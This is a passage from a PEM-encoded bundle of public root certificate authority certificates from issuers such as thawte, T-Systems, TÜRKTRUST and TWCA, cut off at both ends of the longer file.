ZXJ2ZXJAdGhhd3RlLmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA0jY2
aovXwlue2oFBYo847kkEVdbQ7xwblRZH7xhINTpS9CtqBo87L+pW46+GjZ4X9560
ZXUCTe/LCaIhUdib0GfQug2SBhRz1JPLlyoAnFxODLz6FVL88kRu2hFKbgifLy3j
+ao6hnO2RlNYyIkFvYMRuHM/qgeN9EJN50CdHDcCAwEAAaMTMBEwDwYDVR0TAQH/
BAUwAwEB/zANBgkqhkiG9w0BAQUFAAOBgQBlkKyID1bZ5jA01CbH0FDxkt5r1DmI
CSLGpmODA/eZd9iy5Ri4XWPz1HP7bJyZePFLeH0ZJMMrAoT4vCLZiiLXoPxx7JGH
IPG47LHlVYCsPVLIOQ7C8MAFT9aCdYy9X9LcdpoFEsmvcsPcJX6kTY4XpeCHf+Ga
WuFg3GQjPEIuTQ==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEIDCCAwigAwIBAgIQNE7VVyDV7exJ9C/ON9srbTANBgkqhkiG9w0BAQUFADCB
qTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYGA1UECxMf
Q2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMvKGMpIDIw
MDYgdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxHzAdBgNV
BAMTFnRoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EwHhcNMDYxMTE3MDAwMDAwWhcNMzYw
NzE2MjM1OTU5WjCBqTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5j
LjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjE4MDYG
A1UECxMvKGMpIDIwMDYgdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNl
IG9ubHkxHzAdBgNVBAMTFnRoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EwggEiMA0GCSqG
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQCsoPD7gFnUnMekz52hWXMJEEUMDSxuaPFs
W0hoSVk3/AszGcJ3f8wQLZU0HObrTQmnHNK4yZc2AreJ1CRfBsDMRJSUjQJib+ta
3RGNKJpchJAQeg29dGYvajig4tVUROsdB58Hum/u6f1OCyn1PoSgAfGcq/gcfomk
6KHYcWUNo1F77rzSImANuVud37r8UVsLr5iy6S7pBOhih94ryNdOwUxkHt3Ph1i6
Sk/KaAcdHJ1KxtUvkcx8cXIcxcBn6zL9yZJclNqFwJu/U30rCfSMnZEfl2pSy94J
NqR32HuHUETVPm4pafs5SSYeCaWAe0At6+gnhcn+Yf1+5nyXHdWdAgMBAAGjQjBA
MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBR7W0XP
r87Lev0xkhpqtvNG61dIUDANBgkqhkiG9w0BAQUFAAOCAQEAeRHAS7ORtvzw6WfU
DW5FvlXok9LOAz/t2iWwHVfLHjp2oEzsUHboZHIMpKnxuIvW1oeEuzLlQRHAd9mz
YJ3rG9XRbkREqaYB7FViHXe4XI5ISXycO1cRrK1zN44veFyQaEfZYGDm/Ac9IiAX
xPcW6cTYcvnIc3zfFi8VqT79aie2oetaupgf1eNNZAqdE8hhuvU5HIe6uL17In/2
/qxAeeWsEG89jxt5dovEN7MhGITlNgDrYyCZuen+MwS7QcjBAvlEYyCegc5C09Y/
LHbTY5xZ3Y+m4Q6gLkH3LpVHz7z9M/P2C2F+fpErgUfCJzDupxBdN49cOSvkBPB7
jVaMaA==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIICiDCCAg2gAwIBAgIQNfwmXNmET8k9Jj1Xm67XVjAKBggqhkjOPQQDAzCBhDEL
MAkGA1UEBhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjE4MDYGA1UECxMvKGMp
IDIwMDcgdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxJDAi
BgNVBAMTG3RoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EgLSBHMjAeFw0wNzExMDUwMDAw
MDBaFw0zODAxMTgyMzU5NTlaMIGEMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMdGhh
d3RlLCBJbmMuMTgwNgYDVQQLEy8oYykgMjAwNyB0aGF3dGUsIEluYy4gLSBGb3Ig
YXV0aG9yaXplZCB1c2Ugb25seTEkMCIGA1UEAxMbdGhhd3RlIFByaW1hcnkgUm9v
dCBDQSAtIEcyMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEotWcgnuVnfFSeIf+iha/
BebfowJPDQfGAFG6DAJSLSKkQjnE/o/qycG+1E3/n3qe4rF8mq2nhglzh9HnmuN6
papu+7qzcMBniKI11KOasf2twu8x+qi58/sIxpHR+ymVo0IwQDAPBgNVHRMBAf8E
BTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUmtgAMADna3+FGO6Lts6K
DPgR4bswCgYIKoZIzj0EAwMDaQAwZgIxAN344FdHW6fmCsO99YCKlzUNG4k8VIZ3
KMqh9HneteY4sPBlcIx/AlTCv//YoT7ZzwIxAMSNlPzcU9LcnXgWHxUzI1NS41ox
XZ3Krr0TKUQNJ1uo52icEvdYPy5yAlejj6EULg==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEKjCCAxKgAwIBAgIQYAGXt0an6rS0mtZLL/eQ+zANBgkqhkiG9w0BAQsFADCB
rjELMAkGA1UEBhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYGA1UECxMf
Q2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMvKGMpIDIw
MDggdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxJDAiBgNV
BAMTG3RoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EgLSBHMzAeFw0wODA0MDIwMDAwMDBa
Fw0zNzEyMDEyMzU5NTlaMIGuMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMdGhhd3Rl
LCBJbmMuMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9u
MTgwNgYDVQQLEy8oYykgMjAwOCB0aGF3dGUsIEluYy4gLSBGb3IgYXV0aG9yaXpl
ZCB1c2Ugb25seTEkMCIGA1UEAxMbdGhhd3RlIFByaW1hcnkgUm9vdCBDQSAtIEcz
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsr8nLPvb2FvdeHsbnndm
gcs+vHyu86YnmjSjaDFxODNi5PNxZnmxqWWjpYvVj2AtP0LMqmsywCPLLEHd5N/8
YZzic7IilRFDGF/Eth9XbAoFWCLINkw6fKXRz4aviKdEAhN0cXMKQlkC+BsUa0Lf
b1+6a4KinVvnSr0eAXLbS3ToO39/fR8EtCab4LRarEc9VbjXsCZSKAExQGbY2SS9
9irY7CFJXJv2eul/VTV+lmuNk5Mny5K76qxAwJ/C+IDPXfRa3M50hqY+bAtTyr2S
zhkGcuYMXDhpxwTWvGzOW/b3aJzcJRVIiKHpqfiYnODz1TEoYRFsZ5aNOZnLwkUk
OQIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNV
HQ4EFgQUrWyqlGCc7eT/+j4KdCtjA/e2Wb8wDQYJKoZIhvcNAQELBQADggEBABpA
2JVlrAmSicY59BDlqQ5mU1143vokkbvnRFHfxhY0Cu9qRFHqKweKA3rD6z8KLFIW
oCtDuSWQP3CpMyVtRRooOyfPqsMpQhvfO0zAMzRbQYi/aytlryjvsvXDqmbOe1bu
t8jLZ8HJnBoYuMTDSQPxYA5QzUbF83d597YV4Djbxy8ooAw/dyZ02SUS2jHaGh7c
KUGRIjxpp7sC8rZcJwOJ9Abqm+RyguOhCcHpABnTPtRwa7pxpqpYrvS76Wy274fM
m7v/OeZWYdMKp8RcTGB7BXcmer/YB1IsYvdwY9k5vG8cwnncdimvzsUsZAReiDZu
MdRAGmI0Nj81Aa6sY6A=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDZzCCAk+gAwIBAgIQGx+ttiD5JNM2a/fH8YygWTANBgkqhkiG9w0BAQUFADBF
MQswCQYDVQQGEwJHQjEYMBYGA1UEChMPVHJ1c3RpcyBMaW1pdGVkMRwwGgYDVQQL
ExNUcnVzdGlzIEZQUyBSb290IENBMB4XDTAzMTIyMzEyMTQwNloXDTI0MDEyMTEx
MzY1NFowRTELMAkGA1UEBhMCR0IxGDAWBgNVBAoTD1RydXN0aXMgTGltaXRlZDEc
MBoGA1UECxMTVHJ1c3RpcyBGUFMgUm9vdCBDQTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAMVQe547NdDfxIzNjpvto8A2mfRC6qc+gIMPpqdZh8mQRUN+
AOqGeSoDvT03mYlmt+WKVoaTnGhLaASMk5MCPjDSNzoiYYkchU59j9WvezX2fihH
iTHcDnlkH5nSW7r+f2C/revnPDgpai/lkQtV/+xvWNUtyd5MZnGPDNcE2gfmHhjj
vSkCqPoc4Vu5g6hBSLwacY3nYuUtsuvffM/bq1rKMfFMIvMFE/eC+XN5DL7XSxzA
0RU8k0Fk0ea+IxciAIleH2ulrG6nS4zto3Lmr2NNL4XSFDWaLk6M6jKYKIahkQlB
OrTh4/L68MkKokHdqeMDx4gVOxzUGpTXn2RZEm0CAwEAAaNTMFEwDwYDVR0TAQH/
BAUwAwEB/zAfBgNVHSMEGDAWgBS6+nEleYtXQSUhhgtx67JkDoshZzAdBgNVHQ4E
FgQUuvpxJXmLV0ElIYYLceuyZA6LIWcwDQYJKoZIhvcNAQEFBQADggEBAH5Y//01
GX2cGE+esCu8jowU/yyg2kdbw++BLa8F6nRIW/M+TgfHbcWzk88iNVy2P3UnXwmW
zaD+vkAMXBJV+JOCyinpXj9WV4s4NvdFGkwozZ5BuO1WTISkQMi4sKUraXAEasP4
1BIy+Q7DsdwyhEQsb8tGD+pmQQ9P8Vilpg0ND2HepZ5dfWWhPBfnqFVO76DH7cZE
f1T1o+CP8HxVIo8ptoGj4W1OLBuAZ+ytIJ8MYmHVl/9D7S3B2l0pKoU/rGXuhg8F
jZBf3+6f9L/uHfuY5H+QK4R4EA5sSVPvFVtlRkpdr7r7OnIdzfYliB6XzCGcKQEN
ZetX2fNXlrtIzYE=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUx
KzApBgNVBAoMIlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAd
BgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNl
YyBHbG9iYWxSb290IENsYXNzIDIwHhcNMDgxMDAxMTA0MDE0WhcNMzMxMDAxMjM1
OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lzdGVtcyBFbnRlcnBy
aXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBDZW50
ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDIwggEiMA0G
CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCqX9obX+hzkeXaXPSi5kfl82hVYAUd
AqSzm1nzHoqvNK38DcLZSBnuaY/JIPwhqgcZ7bBcrGXHX+0CfHt8LRvWurmAwhiC
FoT6ZrAIxlQjgeTNuUk/9k9uN0goOA/FvudocP05l03Sx5iRUKrERLMjfTlH6VJi
1hKTXrcxlkIF+3anHqP1wvzpesVsqXFP6st4vGCvx9702cu+fjOlbpSD8DT6Iavq
jnKgP6TeMFvvhk1qlVtDRKgQFRzlAVfFmPHmBiiRqiDFt1MmUUOyCxGVWOHAD3bZ
wI18gfNycJ5v/hqO2V81xrJvNHy+SE/iWjnX2J14np+GPgNeGYtEotXHAgMBAAGj
QjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS/
WSA2AHmgoCJrjNXyYdK4LMuCSjANBgkqhkiG9w0BAQsFAAOCAQEAMQOiYQsfdOhy
NsZt+U2e+iKo4YFWz827n+qrkRk4r6p8FU3ztqONpfSO9kSpp+ghla0+AGIWiPAC
uvxhI+YzmzB6azZie60EI4RYZeLbK4rnJVM3YlNfvNoBYimipidx5joifsFvHZVw
IEoHNN/q/xWA5brXethbdXwFeilHfkCoMRN3zUA7tFFHei4R40cR3p1m0IvVVGb6
g1XqfMIpiRvpb7PO4gWEyS8+eIVibslfwXhjdFjASBgMmTnrpMwatXlajRWc2BQN
9noHV8cigwUtPJslJj0Ys6lDfMjIq2SPDqO/nBudMNva0Bkuqjzx+zOAduTNrRlP
BSeOE6Fuwg==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUx
KzApBgNVBAoMIlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAd
BgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNl
YyBHbG9iYWxSb290IENsYXNzIDMwHhcNMDgxMDAxMTAyOTU2WhcNMzMxMDAxMjM1
OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lzdGVtcyBFbnRlcnBy
aXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBDZW50
ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwggEiMA0G
CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC9dZPwYiJvJK7genasfb3ZJNW4t/zN
8ELg63iIVl6bmlQdTQyK9tPPcPRStdiTBONGhnFBSivwKixVA9ZIw+A5OO3yXDw/
RLyTPWGrTs0NvvAgJ1gORH8EGoel15YUNpDQSXuhdfsaa3Ox+M6pCSzyU9XDFES4
hqX2iys52qMzVNn6chr3IhUciJFrf2blw2qAsCTz34ZFiP0Zf3WHHx+xGwpzJFu5
ZeAsVMhg02YXP+HMVDNzkQI6pn97djmiH5a2OK61yJN0HZ65tOVgnS9W0eDrXltM
EnAMbEQgqxHY9Bn20pxSN+f6tsIxO0rUFJmtxxr1XV/6B7h8DR/Wgx6zAgMBAAGj
QjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS1
A/d2O2GCahKqGFPrAyGUv/7OyjANBgkqhkiG9w0BAQsFAAOCAQEAVj3vlNW92nOy
WL6ukK2YJ5f+AbGwUgC4TeQbIXQbfsDuXmkqJa9c1h3a0nnJ85cp4IaH3gRZD/FZ
1GSFS5mvJQQeyUapl96Cshtwn5z2r3Ex3XsFpSzTucpH9sry9uetuUg/vBa3wW30
6gmv7PO15wWeph6KU1HWk4HMdJP2udqmJQV0eVp+QD6CSyYRMG7hP0HHRwA11fXT
91Q+gT3aSWqas+8QPebrb9HIIkfLzM8BMZLZGOMivgkeGj5asuRrDFR6fUNOuIml
e9eiPZaGzPImNC1qkp2aGtAw4l1OBLBfiyB+d8E9lYLRRpo7PHi4b6HQDWSieB4p
TpPDpFQUWw==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFFzCCA/+gAwIBAgIBETANBgkqhkiG9w0BAQUFADCCASsxCzAJBgNVBAYTAlRS
MRgwFgYDVQQHDA9HZWJ6ZSAtIEtvY2FlbGkxRzBFBgNVBAoMPlTDvHJraXllIEJp
bGltc2VsIHZlIFRla25vbG9qaWsgQXJhxZ90xLFybWEgS3VydW11IC0gVMOcQsSw
VEFLMUgwRgYDVQQLDD9VbHVzYWwgRWxla3Ryb25payB2ZSBLcmlwdG9sb2ppIEFy
YcWfdMSxcm1hIEVuc3RpdMO8c8O8IC0gVUVLQUUxIzAhBgNVBAsMGkthbXUgU2Vy
dGlmaWthc3lvbiBNZXJrZXppMUowSAYDVQQDDEFUw5xCxLBUQUsgVUVLQUUgS8O2
ayBTZXJ0aWZpa2EgSGl6bWV0IFNhxJ9sYXnEsWPEsXPEsSAtIFPDvHLDvG0gMzAe
Fw0wNzA4MjQxMTM3MDdaFw0xNzA4MjExMTM3MDdaMIIBKzELMAkGA1UEBhMCVFIx
GDAWBgNVBAcMD0dlYnplIC0gS29jYWVsaTFHMEUGA1UECgw+VMO8cmtpeWUgQmls
aW1zZWwgdmUgVGVrbm9sb2ppayBBcmHFn3TEsXJtYSBLdXJ1bXUgLSBUw5xCxLBU
QUsxSDBGBgNVBAsMP1VsdXNhbCBFbGVrdHJvbmlrIHZlIEtyaXB0b2xvamkgQXJh
xZ90xLFybWEgRW5zdGl0w7xzw7wgLSBVRUtBRTEjMCEGA1UECwwaS2FtdSBTZXJ0
aWZpa2FzeW9uIE1lcmtlemkxSjBIBgNVBAMMQVTDnELEsFRBSyBVRUtBRSBLw7Zr
IFNlcnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxIC0gU8O8csO8bSAzMIIB
IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAim1L/xCIOsP2fpTo6iBkcK4h
gb46ezzb8R1Sf1n68yJMlaCQvEhOEav7t7WNeoMojCZG2E6VQIdhn8WebYGHV2yK
O7Rm6sxA/OOqbLLLAdsyv9Lrhc+hDVXDWzhXcLh1xnnRFDDtG1hba+818qEhTsXO
fJlfbLm4IpNQp81McGq+agV/E5wrHur+R84EpW+sky58K5+eeROR6Oqeyjh1jmKw
lZMq5d/pXpduIF9fhHpEORlAHLpVK/swsoHvhOPc7Jg4OQOFCKlUAwUp8MmPi+oL
hmUZEdPpCSPeaJMDyTYcIW7OjGbxmTDY17PDHfiBLqi9ggtm/oLL4eAagsNAgQID
AQABo0IwQDAdBgNVHQ4EFgQUvYiHyY/2pAoLquvF/pEjnatKijIwDgYDVR0PAQH/
BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAB18+kmP
NOm3JpIWmgV050vQbTlswyb2zrgxvMTfvCr4N5EY3ATIZJkrGG2AA1nJrvhY0D7t
wyOfaTyGOBye79oneNGEN3GKPEs5z35FBtYt2IpNeBLWrcLTy9LQQfMmNkqblWwM
7uXRQydmwYj3erMgbOqwaSvHIOgMA8RBBZniP+Rr+KCGgceExh/VS4ESshYhLBOh
gLJeDEoTniDYYkCrkOpkSi+sDQESeUWoL4cZaMjihccwsnX5OD+ywJO0a+IDRM5n
oN+J1q2MdqMTw5RhK2vZbMEHCiIHhWyFJEapvj+LeISCfiQMnf2BN+MlqO02TpUs
yZyQ2uypQjyttgI=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIID+zCCAuOgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBtzE/MD0GA1UEAww2VMOc
UktUUlVTVCBFbGVrdHJvbmlrIFNlcnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sx
c8SxMQswCQYDVQQGDAJUUjEPMA0GA1UEBwwGQU5LQVJBMVYwVAYDVQQKDE0oYykg
MjAwNSBUw5xSS1RSVVNUIEJpbGdpIMSwbGV0acWfaW0gdmUgQmlsacWfaW0gR8O8
dmVubGnEn2kgSGl6bWV0bGVyaSBBLsWeLjAeFw0wNTA1MTMxMDI3MTdaFw0xNTAz
MjIxMDI3MTdaMIG3MT8wPQYDVQQDDDZUw5xSS1RSVVNUIEVsZWt0cm9uaWsgU2Vy
dGlmaWthIEhpem1ldCBTYcSfbGF5xLFjxLFzxLExCzAJBgNVBAYMAlRSMQ8wDQYD
VQQHDAZBTktBUkExVjBUBgNVBAoMTShjKSAyMDA1IFTDnFJLVFJVU1QgQmlsZ2kg
xLBsZXRpxZ9pbSB2ZSBCaWxpxZ9pbSBHw7x2ZW5sacSfaSBIaXptZXRsZXJpIEEu
xZ4uMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAylIF1mMD2Bxf3dJ7
XfIMYGFbazt0K3gNfUW9InTojAPBxhEqPZW8qZSwu5GXyGl8hMW0kWxsE2qkVa2k
heiVfrMArwDCBRj1cJ02i67L5BuBf5OI+2pVu32Fks66WJ/bMsW9Xe8iSi9BB35J
YbOG7E6mQW6EvAPs9TscyB/C7qju6hJKjRTP8wrgUDn5CDX4EVmt5yLqS8oUBt5C
urKZ8y1UiBAG6uEaPj1nH/vO+3yC6BFdSsG5FOpU2WabfIl9BJpiyelSPJ6c79L1
JuTm5Rh8i27fbMx4W09ysstcP4wFjdFMjK2Sx+F4f2VsSQZQLJ4ywtdKxnWKWU51
b0dewQIDAQABoxAwDjAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQAV
9VX/N5aAWSGk/KEVTCD21F/aAyT8z5Aa9CEKmu46sWrv7/hg0Uw2ZkUd82YCdAR7
kjCo3gp2D++Vbr3JN+YaDayJSFvMgzbC9UZcWYJWtNX+I7TYVBxEq8Sn5RTOPEFh
fEPmzcSBCYsk+1Ql1haolgxnB2+zUEfjHCQo3SqYpGH+2+oSN7wBGjSFvW5P55Fy
B0SFHljKVETd96y5y4khctuPwGkplyqjrhgjlxxBKot8KsF8kOipKMDTkcatKIdA
aLX/7KfS0zgYnNN9aV3wxqUeJBujR/xpB2jn5Jq07Q+hh4cCzofSSE7hvP/L8XKS
RGQDJereW26fyfJOrN3H
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEPTCCAyWgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBvzE/MD0GA1UEAww2VMOc
UktUUlVTVCBFbGVrdHJvbmlrIFNlcnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sx
c8SxMQswCQYDVQQGEwJUUjEPMA0GA1UEBwwGQW5rYXJhMV4wXAYDVQQKDFVUw5xS
S1RSVVNUIEJpbGdpIMSwbGV0acWfaW0gdmUgQmlsacWfaW0gR8O8dmVubGnEn2kg
SGl6bWV0bGVyaSBBLsWeLiAoYykgQXJhbMSxayAyMDA3MB4XDTA3MTIyNTE4Mzcx
OVoXDTE3MTIyMjE4MzcxOVowgb8xPzA9BgNVBAMMNlTDnFJLVFJVU1QgRWxla3Ry
b25payBTZXJ0aWZpa2EgSGl6bWV0IFNhxJ9sYXnEsWPEsXPEsTELMAkGA1UEBhMC
VFIxDzANBgNVBAcMBkFua2FyYTFeMFwGA1UECgxVVMOcUktUUlVTVCBCaWxnaSDE
sGxldGnFn2ltIHZlIEJpbGnFn2ltIEfDvHZlbmxpxJ9pIEhpem1ldGxlcmkgQS7F
ni4gKGMpIEFyYWzEsWsgMjAwNzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAKu3PgqMyKVYFeaK7yc9SrToJdPNM8Ig3BnuiD9NYvDdE3ePYakqtdTyuTFY
KTsvP2qcb3N2Je40IIDu6rfwxArNK4aUyeNgsURSsloptJGXg9i3phQvKUmi8wUG
+7RP2qFsmmaf8EMJyupyj+sA1zU511YXRxcw9L6/P8JorzZAwan0qafoEGsIiveG
HtyaKhUG9qPw9ODHFNRRf8+0222vR5YXm3dx2KdxnSQM9pQ/hTEST7ruToK4uT6P
IzdezKKqdfcYbwnTrqdUKDT74eA7YH2gvnmJhsifLfkKS8RQouf9eRbHegsYz85M
733WB2+Y8a+xwXrXgTW4qhe04MsCAwEAAaNCMEAwHQYDVR0OBBYEFCnFkKslrxHk
Yb+j/4hhkeYO/pyBMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MA0G
CSqGSIb3DQEBBQUAA4IBAQAQDdr4Ouwo0RSVgrESLFF6QSU2TJ/sPx+EnWVUXKgW
AkD6bho3hO9ynYYKVZ1WKKxmLNA6VpM0ByWtCLCPyA8JWcqdmBzlVPi5RX9ql2+I
aE1KBiY3iAIOtsbWcpnOa3faYjGkVh+uX4132l32iPwa2Z61gfAyuOOI0JzzaqC5
mxRZNTZPz/OOXl0XrRWV2N2y1RVuAE6zS89mlOTgzbUF2mNXi+WzqtvALhyQRNsa
XRik7r4EW5nVcV9VZWRi1aKbBFmGyGJ353yCRWo9F7/snXUMrqNvWtMvmDb08PUZ
qxFdyKbjKlhqQgnDvZImZjINXQhVdP+MmNAKpoRq0Tl9
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEPDCCAySgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBvjE/MD0GA1UEAww2VMOc
UktUUlVTVCBFbGVrdHJvbmlrIFNlcnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sx
c8SxMQswCQYDVQQGEwJUUjEPMA0GA1UEBwwGQW5rYXJhMV0wWwYDVQQKDFRUw5xS
S1RSVVNUIEJpbGdpIMSwbGV0acWfaW0gdmUgQmlsacWfaW0gR8O8dmVubGnEn2kg
SGl6bWV0bGVyaSBBLsWeLiAoYykgS2FzxLFtIDIwMDUwHhcNMDUxMTA3MTAwNzU3
WhcNMTUwOTE2MTAwNzU3WjCBvjE/MD0GA1UEAww2VMOcUktUUlVTVCBFbGVrdHJv
bmlrIFNlcnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxMQswCQYDVQQGEwJU
UjEPMA0GA1UEBwwGQW5rYXJhMV0wWwYDVQQKDFRUw5xSS1RSVVNUIEJpbGdpIMSw
bGV0acWfaW0gdmUgQmlsacWfaW0gR8O8dmVubGnEn2kgSGl6bWV0bGVyaSBBLsWe
LiAoYykgS2FzxLFtIDIwMDUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCpNn7DkUNMwxmYCMjHWHtPFoylzkkBH3MOrHUTpvqeLCDe2JAOCtFp0if7qnef
J1Il4std2NiDUBd9irWCPwSOtNXwSadktx4uXyCcUHVPr+G1QRT0mJKIx+XlZEdh
R3n9wFHxwZnn3M5q+6+1ATDcRhzviuyV79z/rxAc653YsKpqhRgNF8k+v/Gb0AmJ
Qv2gQrSdiVFVKc8bcLyEVK3BEx+Y9C52YItdP5qtygy/p1Zbj3e41Z55SZI/4PGX
JHpsmxcPbe9TmJEr5A++WXkHeLuXlfSfadRYhwqp48y2WBmfJiGxxFmNskF1wK1p
zpwACPI2/z7woQ8arBT9pmAPAgMBAAGjQzBBMB0GA1UdDgQWBBTZN7NOBf3Zz58S
Fq62iS/rJTqIHDAPBgNVHQ8BAf8EBQMDBwYAMA8GA1UdEwEB/wQFMAMBAf8wDQYJ
KoZIhvcNAQEFBQADggEBAHJglrfJ3NgpXiOFX7KzLXb7iNcX/nttRbj2hWyfIvwq
ECLsqrkw9qtY1jkQMZkpAL2JZkH7dN6RwRgLn7Vhy506vvWolKMiVW4XSf/SKfE4
Jl3vpao6+XF75tpYHdN0wgH6PmlYX63LaL4ULptswLbcoCb6dxriJNoaN+BnrdFz
gw2lGh1uEpJ+hGIAF728JRhX8tepb1mIvDS3LoV4nZbcFMMsilKbloxSZj2GFotH
uFEJjOp9zYhys2AzsfAKRO8P9Qk3iCQOLGsgOqL6EfJANZxEaGM7rDNvY7wsu/LS
y3Z9fYjYHcgFHW68lKlmjHdxx/qR+i9Rnuk5UrbnBEI=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFQTCCAymgAwIBAgICDL4wDQYJKoZIhvcNAQELBQAwUTELMAkGA1UEBhMCVFcx
EjAQBgNVBAoTCVRBSVdBTi1DQTEQMA4GA1UECxMHUm9vdCBDQTEcMBoGA1UEAxMT
VFdDQSBHbG9iYWwgUm9vdCBDQTAeFw0xMjA2MjcwNjI4MzNaFw0zMDEyMzExNTU5
NTlaMFExCzAJBgNVBAYTAlRXMRIwEAYDVQQKEwlUQUlXQU4tQ0ExEDAOBgNVBAsT
B1Jvb3QgQ0ExHDAaBgNVBAMTE1RXQ0EgR2xvYmFsIFJvb3QgQ0EwggIiMA0GCSqG
SIb3DQEBAQUAA4ICDwAwggIKAoICAQCwBdvI64zEbooh745NnHEKH1Jw7W2CnJfF
10xORUnLQEK1EjRsGcJ0pDFfhQKX7EMzClPSnIyOt7h52yvVavKOZsTuKwEHktSz
0ALfUPZVr2YOy+BHYC8rMjk1Ujoog/h7FsYYuGLWRyWRzvAZEk2tY/XTP3VfKfCh
MBwqoJimFb3u/Rk28OKRQ4/6ytYQJ0lM793B8YVwm8rqqFpD/G2Gb3PpN0Wp8DbH
zIh1HrtsBv+baz4X7GGqcXzGHaL3SekVtTzWoWH1EfcFbx39Eb7QMAfCKbAJTibc
46KokWofwpFFiFzlmLhxpRUZyXx1EcxwdE8tmx2RRP1WKKD+u4ZqyPpcC1jcxkt2
yKsi2XMPpfRaAok/T54igu6idFMqPVMnaR1sjjIsZAAmY2E2TqNGtz99sy2sbZCi
laLOz9qC5wc0GZbpuCGqKX6mOL6OKUohZnkfs8O1CWfe1tQHRvMq2uYiN2DLgbYP
oA/pyJV/v1WRBXrPPRXAb94JlAGD1zQbzECl8LibZ9WYkTunhHiVJqRaCPgrdLQA
BDzfuBSO6N+pjWxnkjMdwLfS7JLIvgm/LCkFbwJrnu+8vyq8W8BQj0FwcYeyTbcE
